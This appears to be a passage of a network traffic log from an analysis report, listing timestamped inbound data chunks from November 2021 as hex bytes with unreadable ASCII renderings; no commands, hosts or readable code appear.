72 8b 56 29 0a 2b ca 2c 36 dc 9f b9 35 56 f0 a3 ab 5f 94 e5 8a 70 7d 22 80 11 a0 e0 f6 ed 2a 48 c4 2c 58 02 eb d4 d0 f1 
93 d0 81 28 d6 be e1 5b 9e 37 9a 36 08 4c 44 8e c5 f8 90 71 ea 5b 30 74 1e ad 32 96 15 22 a9 97 95 5b eb db d8 dd 89 
ba f9 80 b5 13 41 3b 79 e9 96 3d d3 07 c9 aa d2 2b 97 9d 5e d3 7a 3b 37 2c bd 34 79 de b6 16 66 0f 07 e0 38 63 bf 4d 11 
97 83 48 1c fd 86 75 86 c1 9d cc 0a 08 67 01 6d 1c a6 
Data Ascii: <\L{2r5HT{LWU@!.x*53]n8o7sp)0BnHE&oKUi/kgz(GJrV)+,65V_p}"*H,X([76LDq[0t2"[A;y=+^z;7,4yf8cMHugm

2021-11-24 20:00:29 UTC 124 IN Data Raw: 5c 28 bf 55 c5 02 7e e0 a0 dd 65 c9 79 fa fd e7 32 e2 bf 38 8e ef 56 21 74 32 15 1d 5d 4f 19 08 87 01 66 6f 35 
4e c1 39 c5 76 7d 7e 6d c2 d4 c6 ae ca 8f 1a 43 25 19 6d e1 cd 6e c3 d9 af dc 21 2f 85 16 d4 5b 45 9c f9 1a bb f8 61 e4 cb
05 41 88 28 91 28 ed 43 bf 98 bd 19 16 15 14 16 f6 f6 d1 b8 38 71 a4 3d cf 1e 16 be 63 e3 b2 eb 4d d9 9b c1 02 14 8c 27 
8c d0 21 91 4c 33 a9 45 f1 26 d7 95 5d 61 ce a8 d8 5f 93 00 b3 9d aa 7e bb 5b ba ac 3d d4 63 1b 0f 23 6e d2 ac 19 d7 5f 
f7 4a 44 05 ac 8d b2 a2 30 16 44 82 b3 82 f7 6d d2 f6 e3 b9 a5 c9 2b 7d 66 60 81 7c 82 7a f3 0c fe 9d d5 c8 28 ea d7 ea 
d8 f4 ee e2 36 db de 73 db 7d cc eb 28 02 38 4c 13 8e 91 7b 8e 1d 65 be bf db a1 46 30 3a 70 10 b9 2a 2d af 11 2c 53 f1 
b5 aa ae f7 e5 92 2d a7 92 d4 0a 71 14 e7 6a 64 ed 
Data Ascii: \(U~ey28V!t2]Ofo5N9v}~mC%mn!/[EaA((C8q=cM'!L3E&]a_~[=c#n_JD0Dm+}f`|z(6s}(8L{eF0:p*-,S-qjd

2021-11-24 20:00:29 UTC 125 IN Data Raw: 73 a6 0d a1 14 a0 d7 67 9a ee 5f d7 86 f5 00 2b dd f3 cc ef 26 2b 0b 3a f5 55 42 08 9e 29 73 50 2a 7e 21 a4 46 
26 b2 ec d6 0f b2 bb ca 47 9f 4d 0c 8d 90 79 e2 30 d8 fa a9 fe 0c 3f 5a 51 56 dd 17 65 5f 25 09 3a c4 73 fa b2 cd df c9 bf 
63 c4 90 e3 d2 85 1e a7 2a 1d fc cc 7f 9d 71 7e 97 49 64 13 37 f2 6e 21 dd 99 99 89 27 4c 8a 9c 5b 8b e6 03 41 78 16 a6 
0e a3 21 ae e3 2c 77 3f 3d 52 15 cb a7 b9 56 e7 2e 7a c8 cd 31 d3 a0 81 04 94 29 06 3e d5 32 d2 3e 6f 8e 13 77 44 0a c6 
98 32 92 0a 29 33 b2 eb 50 cd c4 d8 c2 e6 a3 8f ad b7 13 55 11 1b 97 15 3c d3 02 d6 a6 48 0e 27 91 78 cc 1b 25 45 33 
ab 1e 54 dc b9 10 4c 61 63 79 39 62 a0 62 15 0d fc 64 13 db 9c 79 a6 5e 9f c6 08 01 02 c8 41 1e ac e9 88 6a 25 f1 15 83 
23 16 b9 02 62 00 d9 0b 59 e3 41 75 75 d6 3d ed f7 0c 
Data Ascii: sg_+&+:UB)sP*~!F&GMy0?ZQVe_%:sc*q~Id7n!'L[Ax!,w?=RV.z1)>2>owD2)3PU<H'x%E3TLacy9bbdy^Aj%#
bYAuu=

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 127 IN Data Raw: a9 10 60 25 51 2c 96 88 2c 7b 79 2e 7b 0b bd c7 76 75 61 45 fe d4 38 bd ad e5 64 d8 26 67 5c fe fb f0 9b 8a 
a0 fa 3a 1b 75 d7 d6 5b 47 ac c5 37 b9 f2 4f ce a0 7b d2 f4 55 94 37 de da 8e 4b b2 29 f7 23 3e 9e d8 db d3 a2 9e eb db 
bd c8 34 78 c2 f8 99 32 ee 52 e5 29 bc 2d 1a a0 45 cb f1 b0 97 4f 25 b0 16 a3 25 d7 97 75 70 30 30 d9 5b bf f2 88 07 85 
57 a1 83 a4 83 e3 43 6a 1c 23 12 44 fb 20 ae ac f7 9c 34 d9 06 ae f2 2f 99 aa 37 41 d4 97 9d c7 30 cf f5 e3 bd bc f7 04 04 
e7 67 ab 12 fe 98 70 0d fa 86 c6 bf 0f c7 d3 c9 d3 31 cf 57 ca da d2 62 df 17 cc ee a0 9f 2b b6 8b 8f 95 7d 93 5a 7b 9a 92 
d0 af 01 0e 1a dc 6f 3a 2b 32 a2 3c 17 53 8a 30 81 c4 8d 7e e8 a9 a2 8d ed b8 b9 3b e9 46 79 d5 3d 40 a0 89 62 40 9a 6b 
ab 14 57 91 99 c5 8d bb 19 3e da 81 81 bb 4e 44 13 
Data Ascii: `%Q,,{y.{vuaE8d&g\:u[G7O{U7K)#>4x2R)-EO%%up00[WCj#D 4/7A0gp1Wb+}Z{o:+2<S0~;Fy=@b@kW>ND

2021-11-24 20:00:29 UTC 128 IN Data Raw: 55 46 73 92 47 5f 7d 28 61 07 a6 31 5a 2b eb fc 61 d0 b8 ee 6a 90 74 75 08 85 4b e0 3e ea 9d 89 6c 22 65 24 
d4 7f f0 11 78 c3 2a 4a 4f 7b 6f e5 8a cd b6 7b b7 4c cb b0 d6 ee db 1d a2 2a 19 fd 46 72 9d 78 58 8f 7c 45 72 a3 db 43 27
c2 f8 29 ce 74 db ad 83 38 b4 45 9d 64 55 01 a8 3c a8 3e f0 d6 4e 21 8b 3e 52 17 fe ad 5d ea cb 21 58 c8 af 8b 59 89 8d 
22 94 2c 31 77 c8 39 fc 39 07 f0 8c 5c 1a 70 40 f0 a8 b3 38 2c 8f 88 af 7b 55 df d3 dd 92 92 8a 82 b5 15 79 55 07 70 8d 3d 
d7 19 a3 30 f7 06 05 bb 41 b9 37 f9 33 2c b7 29 5c f6 94 14 66 09 37 8e 46 fb a5 7d 1c 88 b2 d3 39 d0 8c 52 99 bb bf 2e 
0c 1e 08 ff 67 34 81 ed a2 02 71 06 6a 1a 26 09 b3 87 2b b7 f3 00 49 cb 7e 81 55 25 39 f2 fd 3b 97 24 48 89 77 44 e9 3d 
9b 6d 3f dc 7c d3 cd 7d ac be c3 1b bf 01 60 58 80 
Data Ascii: UFsG_}(a1Z+ajtuK>l"e$x*JO{o{L*FrxX|ErC')t8EdU<>N!>R]!XY",1w99\p@8,{UyUp=0A73,)\f7F}9R.g4
qj&+I~U%9;$HwD=m?|}`X

2021-11-24 20:00:29 UTC 129 IN Data Raw: 16 1b 41 23 47 c8 e1 cd 6a 24 82 83 cd 03 0d c5 5b d4 5b 67 c1 ea 1a bb e8 61 c9 c8 05 4d df d7 ee b1 e8 40 
af 46 2d 0f e8 14 84 35 f7 ca f5 9b 27 c6 d9 bd ee 67 15 bc 61 82 1a c7 4f dd b5 b3 82 6a 1f 5b f3 d5 01 07 4f 25 ab a4 ab 
0a c6 b7 7f 88 4e a9 d8 7b c6 ea b1 9d b8 52 82 a7 bb bc e9 57 16 85 22 0e 68 f6 b1 ae aa dd 6c 6f 6d 16 88 d6 a3 a3 30 
12 4c a5 b6 82 fd 0d 7b da e1 bd a7 f5 ab 78 7e 60 81 7c a0 95 71 0d fe 03 d8 08 3b cc fd 7b cc 0a ef d4 4e dd d2 7b e9 
12 e3 ec a6 b3 6f 4a 6c 17 94 79 88 46 74 bf bf df 13 3b 1f 2b 5c 4d af 2b 2d ab 34 b4 56 8a 36 bc 86 de e5 e9 af 8c 10 ae 
bb 9d 16 e3 40 f0 e8 1d ef 38 ac 4f 46 94 66 3f 14 51 bb d3 34 13 ba 19 2d ed 92 19 9e 65 60 b7 dd c8 b6 e6 f9 16 08 e8 
b2 02 a4 d9 23 eb 48 44 53 01 d0 76 be ba 71 43 07 
Data Ascii: A#Gj$[[gaM@F-5'gaOj[O%N{RW"hlom0L{x~`|q;{N{oJlyFt;+\M+-4V6@8OFf?Q4-e`#HDSvqC

2021-11-24 20:00:29 UTC 130 IN Data Raw: 39 67 ee 1c d5 4f a9 f8 26 ff 01 e5 46 fb 33 cf c5 00 24 11 5e 66 e5 8e c5 f8 cc 90 61 c2 bc 4b f6 62 86 a6 2e 
39 5a 56 5a b0 e0 7d a4 47 09 2c 82 da 43 23 fd 22 bb eb 59 cf a3 b1 5d 94 e9 b3 e6 2b 83 81 11 ae 1e 4f fc 20 5f 88 1a 
7f 02 c7 e5 7e cf e6 2e 5e 16 cf ab f6 9a a5 0f 89 23 1f 70 48 47 63 12 6d 8a 35 e7 1a 74 5f 03 17 bb 04 04 89 2d c6 5b eb 
fb 11 d5 89 ba bd a8 98 11 53 3d 53 6b f2 a4 d2 06 cd 8a 69 2b 0a 9d c4 f6 3a 2b 11 0c 0c 36 79 de 99 d0 6e 0f 1d fc 10 4f 
a6 7d 1e bd 5f 37 85 fc 83 70 a6 6c 9f c6 08 84 2d cd 7e 3a 8c 53 a2 04 5b 48 d8 8b 27 09 a8 95 6f 00 d4 2d 40 c7 e7 93 
ec d7 3d f6 dd 99 82 0c 65 11 52 6f d1 71 c5 49 3e dc 78 ec 79 ef 89 93 d2 26 88 41 42 50 83 79 b7 12 5c d9 ea 7d 77 3b 
de d1 97 12 24 84 65 f3 0b 83 99 b2 27 78 b6 9f 
Data Ascii: 9gO&F3$^faKb.9ZVZ}G,C#"Y]+O _~.^#pHGcm5t_-[S=Ski+:+6ynO}_7pl-~:S[H'o-@=eRoqI>xy&ABPy\}w;$e'x

2021-11-24 20:00:29 UTC 132 IN Data Raw: 8d e8 ca 05 54 d4 7d bd 2a e9 46 81 e0 c2 96 e9 14 1a 30 04 db d3 bb 2c e3 f4 af e8 3e cc bc 61 98 12 0f 41 
dd b3 86 21 3c ab 58 f3 d7 0b 13 31 bc aa 3e 8a 07 08 91 5f 1a d4 8c f5 49 9d cd 6e 9d a0 7a 8f a3 b6 ba c3 ca 4a 34 0e 
0c 6c d0 08 28 d4 44 f7 4a 44 27 4e f6 30 a3 aa 37 41 c8 97 a2 1d 10 53 f7 c3 95 ac df 29 19 c5 49 ac 7a 80 07 5b 8b 80 
00 fc 25 2e ca 3c ef cc 0a 75 d1 e5 c8 f4 5b 16 3a ce ee 86 ff 48 c8 12 91 b7 51 a1 64 e1 b9 95 5d f7 87 33 3a 7e 4d d8 2b 
2d ab 8e 1f 7c 9b 10 8b 4c f3 e7 e9 89 ca 9f d0 22 81 3e ca 62 66 ee 37 69 dc 10 63 57 b6 66 4a 14 51 bb 69 9e 39 a8 3f 
1a 26 bf 1b 9e 43 39 38 a3 51 a8 c5 d5 1b 9d e8 b4 28 b8 82 97 fb 6e 60 e4 e5 d0 76 9e b0 53 6e 15 6e 2c 7f 5e 2e 98 80 
dd 07 ee db c9 f7 be 32 13 df 0c 4b 9a 30 2a 63 95 f0 
Data Ascii: T}*F0,>aA!<X1>_InzJ4l(DJD'N07AS)Iz[%.<u[:HQd]3:~M+-|L">bf7icWfJQi9?&C98Q(n`vSnn,^.2K0*c

2021-11-24 20:00:29 UTC 133 IN Data Raw: de e1 92 7b ec bb cb 88 fd ad 24 54 80 e3 56 5e 90 7f 59 89 56 b5 29 17 cb 65 03 d8 9e b3 eb 79 d5 84 9c 5f 
89 c7 b4 66 55 1c aa 93 d4 a7 f7 fc 24 7f 14 3e 52 13 7b e0 ea de c0 0e 78 d6 c7 ab d6 8a 82 22 8b 38 31 77 c8 39 fc 39 
ef f0 8c 5c 1a 70 7f 9e 33 96 15 b8 8c ba d7 7d cb dc d2 dd 89 9a ab 8f b5 13 4f 13 54 eb 8c 3b f9 80 b7 33 d3 2b 0e bd 56
d2 17 3a ad 09 9a 24 5f fe b1 17 66 0f 3d f2 37 62 a4 62 00 bf f4 4b 1c fb a9 f2 f8 49 9e c6 0c 3e 01 e1 6c 1c 36 ca 8f 16 
7d 48 1d 82 27 09 97 b2 48 2d d6 32 5d c5 4c ef 75 d0 17 70 83 bd 83 0c 61 ab 7d 43 c3 57 7f d1 13 cd 5e ec aa e6 89 93 
ed 78 af 6c 40 4c ad 7e 37 6c c3 f2 6c 07 ce 84 de d5 b7 83 00 a9 74 4f 0e 10 8b 94 07 53 43 97 32 6b 73 f7 0d 7b ef ac 
90 dc 96 90 e4 72 9b 27 96 23 00 6d 1b f7 02 8f 0e 
Data Ascii: {$TV^YV)ey_fU$>R{x"81w99\p3}OT;3+V:$_f=7bbKI>l6}H'H-2]Lupa}CW^xl@L~7lltOSC2ks{r'#m

2021-11-24 20:00:29 UTC 134 IN Data Raw: ff 9d e5 1f 12 bc 41 4d 22 ea 4d c2 ba b1 2d 16 86 5c d9 57 5f 0c 4e 25 af 1e a2 26 d7 91 c5 3f 63 bb fe 7b 97 
ec b1 9d 80 a4 bf a5 bb a5 e3 fd 45 1e 23 08 46 54 5c 37 ab dd f2 6a 6d 06 ae f6 aa 86 1d 03 4a fa 9c 83 fd 10 73 09 f3 bd 
a1 c1 01 2b e5 61 87 52 06 7f e8 0c fe 9d dd 0b 2b ea dd 75 e9 27 fd d2 e8 f4 d3 7b f7 1a c8 ff a6 b5 5a df 3a a3 97 79 8a 
4c 67 c1 26 de 89 1a 12 15 7b 6d 3a b1 08 86 06 1c 71 a5 37 ab ae d3 fa f8 a9 a6 8d c6 0a b1 14 e7 66 4c 6e 63 76 a3 89 
66 77 82 47 a9 14 cb 9e de a9 32 9a 29 3b c5 bf 3b ad 72 4a 35 bc 5d 9f cb ff 36 99 c2 34 7c a7 fd 0e fe 4e 55 c5 01 d0 ec 
bb 07 64 65 27 79 0d 9b 5e 0e a7 b1 4b 0a f1 d2 fe d1 94 1f 17 f5 88 1f 85 4f b3 66 b5 c6 cc 34 7f ba 04 56 ed d1 02 6b 06 
fa 41 90 c9 36 64 a8 dd ce a0 f8 93 98 12 
Data Ascii: AM"M-\W_N%&?c{E#FT\7jmJs+aR+u'{Z:yLg&{m:q7fLncvfwG2);;rJ5]64|NUde'y^KOf4VkA6d

2021-11-24 20:00:29 UTC 136 IN Data Raw: c1 5d 44 9e b3 ef 79 87 8a 9c 5f 0e ca b4 75 73 3a d2 10 aa 3e d6 f2 34 5f 12 21 7a 3e e3 c5 c1 e5 60 50 e7 
d6 c7 af d6 de 8c 22 8b b9 3c 77 d8 1f da 40 6c 8e 15 7d 0c 60 5f 99 2d 86 3d 0f ab 97 c0 71 6d a5 4a dc 89 be 87 d4 b4 
13 53 a1 5c c4 9e 1b f3 52 c8 aa d2 0b 2c 89 5e d3 08 2a 1f 01 b5 36 7f f4 3f 68 ff 0e 1d e4 18 37 a5 7d 18 0d fc 64 0e db 
a3 21 87 d0 9f e6 3e 0a 08 e0 73 17 84 c2 a0 04 5d 42 92 fd be 08 b7 9c 67 7b d7 2d 46 77 44 c0 67 f0 1d a4 fc 24 82 2c 
24 9f 77 42 dc 42 cd d9 3c dc 7e e6 22 99 10 92 cd 39 80 3b 41 50 85 c9 10 41 d4 fe ca 2e 56 85 de f1 c1 9c 01 a9 69 fd 
06 3f 99 b4 0d da 3c 0e 33 4b 3c d8 55 7a f0 a7 22 d4 b9 81 c4 78 45 58 0f 22 20 34 2f fb 03 95 26 70 19 f0 1a 58 ea 01 
07 95 0a 0b 92 79 36 08 e4 fd af 65 3e 35 cd 14 f9 4a 
Data Ascii: ]Dy_us:>4_!z>`P"<w@l}`_-=qmJS\R,^*6?h7}d!>s]Bg{-FwDg$,$wBB<~"9;APA.Vi?<3K<Uz"xEX" 4/&pXy6e>5J

2021-11-24 20:00:29 UTC 137 IN Data Raw: 21 83 0f fa 93 5f 1c 64 2b a6 c2 ba ed b5 bd d9 7b af a5 21 9f ee c4 4e 3c 5a 0f 6c d6 02 f8 bc dd f6 56 68 2a 
ac f6 36 89 b6 6c f5 db b1 86 dd 6a 52 f7 e3 27 84 f2 3b 20 c7 1b 80 78 80 21 2d 1b fe 99 e2 34 02 c7 df ef ca 20 69 8a 51 
db d2 7f d7 41 cf ee a6 2f 60 e5 00 a8 b5 02 8d 66 e1 9f d2 c9 89 1e 2d 24 52 40 38 2b 2b 81 92 44 c8 8b 36 af 8e 8f e6 
e9 a9 3c b7 fd 30 ba 36 9b 61 66 e8 3d 64 b4 89 62 48 bc 6e 84 16 51 bd d9 39 6a 23 18 3a c1 9f 66 9f 63 4a af 86 7c a6 
c0 dd 4b 9e e8 b2 22 a7 ea 0e fa 70 4c e9 03 d0 70 b4 ac 08 da 06 48 08 bb 20 2f 98 a0 d1 2f c3 c9 f0 dc e8 1e 11 df 2a 
c0 0a 4e b3 7d 9b dc e0 36 7f 26 0b fd 82 6e 23 59 03 da 3e b1 81 27 fe 8d ed f4 ab da ec 9f 38 19 f7 cc f3 e8 24 b9 0c 0c 
c5 23 e0 6d b8 b4 93 08 66 ee 57 24 5b fd b9 30 
Data Ascii: !_d+{!N<ZlVh*6ljR'; x!-4 iQA/`f-$R@8++D6<06af=dbHnQ9j#:fcJ|K"pLpH //*N}6&n#Y>'8$#mfW$[0

2021-11-24 20:00:29 UTC 138 IN Data Raw: 32 a0 53 13 e1 e5 92 d7 e6 2e 66 ff ea a9 f6 8b a7 a0 f5 ba 18 5a ce 19 5a 12 6d 8e 8f 78 37 65 79 b9 92 97 15 
22 89 c0 de 5b eb c5 fb f0 8b ba a1 aa 33 6d ca 3a 79 ed ac 9c d2 06 c9 30 f7 06 18 bb 7e 72 16 3a 37 0c e8 2e 79 de a6 
07 4e 22 1f e0 3e 48 26 03 81 96 d9 4d 3c 5f 82 74 86 4a ba eb 19 38 28 42 6d 1c ac cf d2 1c 5b 68 08 ab 0a 0b b7 9e 6d 
ab a8 b4 47 ed 65 cd d6 d7 3d f2 67 01 af 1e 43 ab d4 43 c3 57 c5 82 26 dc 78 d3 ad cf a4 91 cd 3b 8a ea 3e c9 84 53 31 
4c 61 d9 ea 79 cd a0 f3 c3 b1 a8 a5 a8 74 d5 0b be 81 b2 27 47 4c bf 1f 49 38 fe 27 fd 8e 3e b9 f1 90 b0 47 59 1d 59 95 
07 2d 7b 1d db a6 8e 0e 5d 3b 61 04 72 68 60 93 bc 27 0d b2 26 1d 8a 9a fe 8b 48 2b 33 4b 4c f8 4a dc b6 e7 08 5b 5a 6f 
24 17 0e d9 5b 22 de 67 e7 7a 36 c2 43 6e 57 3e 28 7b 
Data Ascii: 2S.fZZmx7ey"[3m:y0~r:7.yN">H&M<_tJ8(Bm[hmGe=gCCW&x;>S1Layt'GLI8'>GYY-{];arh`'&H+3KLJ[Zo$
["gz6CnW>({

Timestamp
kBytes
transferred Direction Data
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2021-11-24 20:00:29 UTC 139 IN Data Raw: 22 0e 6c f6 dd b7 aa dd e9 57 68 2a ac f6 36 89 b2 6c f5 db b1 86 dd d7 52 f7 e3 27 84 f2 38 20 c7 a6 80 78 80 
21 6d 17 fe 99 e1 0d 07 e8 dd e9 e6 88 91 6d c9 da d6 5b 3f 3b ce ee 3c 90 68 d9 34 ae 5d 78 8c 66 c1 9d a5 df 89 00 1a 
17 78 6d 3c 01 ab d5 8d 3b 51 8e 16 62 af f3 e7 73 8c 8b 80 f6 02 55 17 e7 60 46 c2 07 ef a2 96 6b 7f 9f 44 a9 12 7b 3d 
8d 22 15 ba 1d 1a 0f be 1b 9e f9 6f 18 b1 77 97 2c fc 36 9f c8 81 18 3e fc 11 ee 46 49 c6 01 d6 5c 1c 54 ef 42 07 4c 2c 50 
5f 2e 98 3a 6e 27 ff fd f6 37 97 1f 11 ff 4d 7b 1c 4e aa 4a b8 f6 cd 32 55 a2 5f e2 fd f7 26 79 cb fb 41 b0 1b 02 49 b9 e6 c6 
41 fb 93 9e 18 53 cd 63 e5 f3 0c 8b 12 24 ee 0b 62 15 0b 33 ed 95 47 23 52 04 db 66 9c 1d 02 c7 8a 3d 2f 94 05 55 50 a0 
db 7b d5 0a df 0f 13 33 3b 98 3d 92 d8 a1 70 
Data Ascii: "lWh*6lR'8 x!mm[?;<h4]xfxm<;QbsU`FkD{="ow,6>FI\TBL,P_.:n'7M{NJ2U_&yAIASc$b3G#Rf=/UP{3;=p

2021-11-24 20:00:29 UTC 141 IN Data Raw: 01 4b ae f8 5c 1a 74 7f 6e 29 96 15 3d 9b bf eb 59 eb dd f9 5b f7 23 a6 80 b1 33 bd 3a 79 e9 16 18 fe 14 ef 8a 
3c 2a 0a 9d 7e fa 0b 3a 37 33 bd 1e 54 dc b9 10 4c 89 63 79 39 62 a0 5d f7 96 d9 49 86 d8 ae 66 a0 f0 70 c7 08 1e 28 d3 
70 1c ac f0 a9 2c 76 6a 14 85 0d 8b c9 01 46 2d d2 0d b6 ec 61 ed ef f3 10 e3 db 04 72 0d 65 8b 57 7c df 57 e5 e8 16 f1 
7a cc a6 cd 0b ed 54 3c a0 68 60 a1 84 53 35 f6 e0 f5 fb 5f 77 74 df d1 97 a8 45 b5 74 d5 36 15 b4 b0 27 5e 68 15 4c d2 
39 f8 09 5b 02 a6 b8 f1 0e b5 cf 49 3b 79 fd 23 00 69 1b b0 1f 8f 0e 43 33 dd 1e 72 6e 55 1c ea 93 0e b2 24 17 fb e5 67 8a 
d2 0a 3e fc 6b d8 b9 47 93 ca 39 2e 66 c9 25 0a 26 d4 c7 3a d8 4d 7b 2c 82 c1 43 6c 5d 48 57 e2 26 d7 94 b0 ec e9 c9 0a 
be d4 04 cd ff ed c9 39 46 e0 47 29 f4 0a 23 73 b0 
Data Ascii: K\tn)=Y[#3:y<*~:73TLcy9b]Ifp(p,vjF-areW|WzT<h`S5_wtEt6'^hL9[I;y#iC3rnU$g>kG9.f%&:M{,Cl]HW&9FG)#s

2021-11-24 20:00:29 UTC 142 IN Data Raw: f7 79 98 8c ce 0f 26 f3 63 81 78 a0 f6 6c 0d fe 87 d5 08 28 ea db c5 4e 74 76 f5 c8 de f2 6e f5 3a ce 74 83 98 
54 ee 32 9b 97 79 8c 46 1e a2 bf df 92 36 1f 38 7a 6b 10 ad 53 32 15 3a 55 aa 20 a9 ae f3 7d cc 84 b4 b4 f0 34 9e 16 e7 
40 62 f6 1d ef bd c9 4a 7a b0 46 af 3e d7 c5 6a ba 14 be 39 2d c7 bf 1b 04 46 67 27 85 71 a0 e4 fd 36 bf ac ac 02 3e e3 07 
d2 43 66 c4 07 fa f0 e0 b3 77 43 03 68 14 99 5e 2e 02 85 66 18 c8 fb ce fe 96 1f 31 92 14 61 1c 51 bf 4a b8 f6 cd 32 55 a2 
5f e2 fd f7 26 79 1e f8 41 b0 1b 02 49 b9 e6 c6 94 f8 93 9e 18 40 c9 63 e5 f1 0c 8b 12 24 ee 0b 62 15 0b 33 ed 95 47 f4 51 
04 db 66 9c 1d 02 c7 8a ea 2c 94 05 55 43 a4 db 7b d7 0a df 0f 13 33 3b 98 3d 92 d8 a1 70 9d c3 f1 ca ed aa 85 4d 99 61 
a8 d6 08 be 3a b4 d3 1c bf 33 36 65 ca e1 90 
Data Ascii: y&cxl(Ntvn:tT2yF68zkS2:U }4@bJzF>j9-Fg'q6>CfwCh^.f1aQJ2U_&yAI@c$b3GQf,UC{3;=pMa:36e

2021-11-24 20:00:29 UTC 143 IN Data Raw: 2c 12 53 3f 59 d2 8e 3d d3 9c ec 87 c0 0d 2a a6 5c d3 17 1a 83 0d b7 36 66 c8 91 3b 64 0f 1b ca be 1c 3d 7c 
18 93 f9 75 1e fd 83 ee a3 fd 8d e0 28 22 0a e0 6c 3c 66 ce a2 04 44 64 3c ae 25 09 b1 b2 c5 53 4f 2c 46 e9 41 d0 77 d6 
3d 68 d8 09 93 2a 45 b6 75 42 c3 77 33 d5 3e dc 62 e4 8d e5 89 95 e7 bf de f5 41 50 81 73 0b 6e c5 d8 70 5c 7a 94 f8 f1 
a9 8a 01 a9 54 0f 0a 3d 99 af 0f 75 40 97 34 61 ba 86 94 7a f0 a3 98 ce 96 90 e2 c2 38 74 1e 04 20 56 39 fb 03 af ef 7c 1b 
f0 02 5a 45 7d 9e 92 20 8d cc b9 36 08 e0 47 ca 4a 2f 13 77 68 d5 5b 60 b3 8a 1b 7d 7a e9 cc 36 0e f9 db 12 f3 65 fd 54 
31 46 3d f1 7c bc 52 c2 67 4f b1 9d 64 ea c4 ec 99 f4 45 ef a5 f1 e9 c8 78 c1 6f 1b f8 22 08 5b 32 ba eb 22 25 52 16 ae 76 
8a a9 86 0c 9e c6 0d 82 47 e3 22 26 e2 a0 dc 1f 34 
Data Ascii: ,S?Y=*\6f;d=|u("l<fDd<%SO,FAw=h*EuBw3>bAPsnp\zT=u@4az8t V9|ZE} 6GJ/wh[`}z6eT1F=|RgOdExo"
[2"%RvG"&4

2021-11-24 20:00:29 UTC 144 IN Data Raw: e9 de 4e a4 4b 7a f7 3e ee 8c a4 b5 45 52 37 a3 87 5f ac 04 e3 bf bf ff 81 3a 32 3a 65 61 12 06 2f ab 12 10 d7 
f4 af aa ae f7 c7 8a ab a6 92 4a 07 b1 04 c1 40 05 ea 1d ef 82 9d 46 57 b2 59 bf 3c 7c b9 f3 bd 3e 38 67 a3 c4 bf 1f be 07 
48 35 a3 cb 92 cb ec 10 bf 8c b0 02 3e dc 24 de 6e 64 d3 29 fd 74 9e 2c 5c c1 79 d1 0d 9b 5a 0e fd a2 4b 0a 74 fe fb ed b0
3f 74 dd 0a 61 3c 65 97 62 95 e3 e5 19 7d 20 27 51 7a 89 bb 58 07 fe 61 d6 83 27 64 32 e5 cb 9f dc b3 f8 3a 19 d7 43 c9 
cc 24 a6 0f 2e c0 0c e2 6b 94 18 6f ef fe ef 53 00 fb 9b bb 30 13 7b 8f dd 3f b2 25 12 1d ba db 5b f8 06 f2 0d 09 1d 3c 18 
43 0d f3 27 0a 24 d9 f3 ce cd 58 a2 60 88 dd ad e0 18 98 1a fc 8e 02 bf 13 10 69 e7 e3 8f 7c 5f 54 30 c2 1b 2a 0b a7 7e 
04 5a 9d 76 e2 05 87 0e 25 da 50 a0 e5 7d be 
Data Ascii: NKz>ER7_:2:ea/J@FWY<|>8gH5>$nd)t,\yZKt?ta<eb} 'QzXa'd2:C$.koS0{?%[<C'$X`i|_T0*~Zv%P}

2021-11-24 20:00:29 UTC 146 IN Data Raw: de 99 4b 40 0f 1d fe 10 4f a6 7d 1e bd 5f 37 85 fc 83 70 a6 59 9d c6 08 84 2d cd 7e 3a 8c 66 a0 04 5b 48 71 a5 
27 09 a8 91 6f 00 d4 2d 40 c7 e3 93 ec d7 3d f6 dd ae 80 0c 65 11 52 6f d2 71 c5 7e 3c dc 78 ec ce c1 89 93 d1 15 8d 6e 
40 56 af d1 4b f5 c4 d8 ee 59 dc 87 de d1 0d ad 2c b8 52 f5 a0 3f 99 b2 07 2c 64 97 32 56 10 d5 0f 7b f6 8d 3e 8f 0d 91 e2 
5c 3d d5 0d 22 00 f3 1e d6 11 a9 2e d1 19 f0 1c 52 13 59 9e 94 15 01 9a 0d 35 08 e2 4d 0c 36 b6 12 ed 49 d8 c7 44 93 ca 
83 58 57 db 03 37 83 fb c5 3a 
Data Ascii: K@O}_7pY-~:f[Hq'o-@=eRoq~<xn@VKY,R?,d2V{>\=".RY5M6IDXW7:

2021-11-24 20:00:29 UTC 146 IN Data Raw: fe ee db 52 1b df 55 40 50 be 56 e4 0c cb cf 04 ff cf ed de 31 d6 04 ed 3f d4 e4 2b 7f e1 e1 06 f6 0a 05 c6 14 bc 
c1 bb 4e e3 3a ac 72 ac c1 06 72 07 5d 28 ab 75 4a 00 64 e0 3a f9 12 da a1 cf 3e e5 32 e0 9d 8f d5 94 57 36 58 1d 13 60 
27 64 9b 72 34 00 75 5b 11 de 29 39 c5 ec 50 52 7c f5 f6 a8 b9 87 8f 3a f4 01 67 58 f9 e5 47 bc a7 a8 f6 a7 53 cc 5a d4 5f 
67 25 ef 1a bb 68 6c c9 db 23 6b 64 57 90 28 c9 f7 8d 66 bc 18 c0 39 1c 10 dc f1 51 c5 2f c7 d9 b9 ee 8c 10 bc 61 02 17 
c7 5c fb 93 0b 02 14 86 7a 4b f7 21 95 57 0d 86 3c 8e 21 fd 13 21 83 4f a9 dc 7b 28 ef b1 9d 3a 5f 82 b4 9d 9a 50 d7 68 1c 
03 b4 4a d6 22 b9 82 f0 f4 4a 46 2d 2c 88 a9 a2 30 16 4c 4e b3 82 fd 8a 76 da f2 9b 81 4b 2b 06 e7 41 3a 5e 80 01 69 25 
d3 9b fd 23 00 68 a3 76 cd 0a eb d4 5d d8 d2 
Data Ascii: RU@PV1?+N:rr](uJd:>2W6X`'dr4u[)9PR|:gXGSZ_g%hl#kdW(f9Q/a\zK!W<!!O{(:_PhJ"JF-,0LNvK+A:^i%#hv]

2021-11-24 20:00:29 UTC 147 IN Data Raw: 2f da 20 11 35 17 30 c1 75 40 a0 74 b9 f8 46 c8 ed 30 3a 45 a5 56 ae ed bf bc 3a 94 ac e3 98 33 2a 54 cf ce 92 
6a 71 53 b0 bc 84 01 8d dd c7 b3 58 99 56 11 22 aa 1f 99 df cb b0 c3 5d f7 64 f8 56 55 5d da e1 e9 3d b7 04 91 81 ea 58 
17 b6 13 ec 7f 28 7e bd ab 31 4a 0d cd 61 09 ae 21 cf 8d b3 6b 10 8d a9 4e c3 1a f5 fe 83 7a 58 fc 25 c8 53 fd ab 7a c5 00 
